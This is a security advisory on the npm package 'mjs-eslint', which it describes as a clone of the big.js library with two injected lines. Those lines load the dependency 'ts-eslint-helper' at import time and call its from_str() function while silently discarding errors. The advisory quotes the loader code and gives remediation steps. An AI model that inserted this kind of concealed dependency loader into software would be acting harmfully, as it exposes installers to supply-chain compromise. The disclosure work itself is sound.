mjs-eslintnpm

The package is published as 'mjs-eslint' but its description, file layout (big.js, big.mjs), and source are a verbatim copy of the legitimate big.js arbitrary-precision arithmetic library by Michael Mclaughlin. Two lines have been inserted into the IIFE at big.js:605-606 (and identically in big.mjs:605-606): const helper = require("ts-eslint-helper"); helper.from_str().then(e => e).catch(e => { });. The corresponding dependency "ts-eslint-helper": "^4.0.1" is declared in package.json. This call fires at module load on any require('mjs-eslint') or import of the package, executes asynchronously, and silently swallows all errors via .catch(()=>{}). An arithmetic library has no legitimate reason to load a 'ts-eslint' helper at module init, and the name mismatch between the host package (mjs-eslint), the cloned library (big.js), and the dependency (ts-eslint-helper) is the canonical pattern of hiding the payload one hop away in a transitive dependency to evade scanners. Installer harm: any consumer who requires this package pulls in and executes whatever ts-eslint-helper's from_str() contains, with no visible signal.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.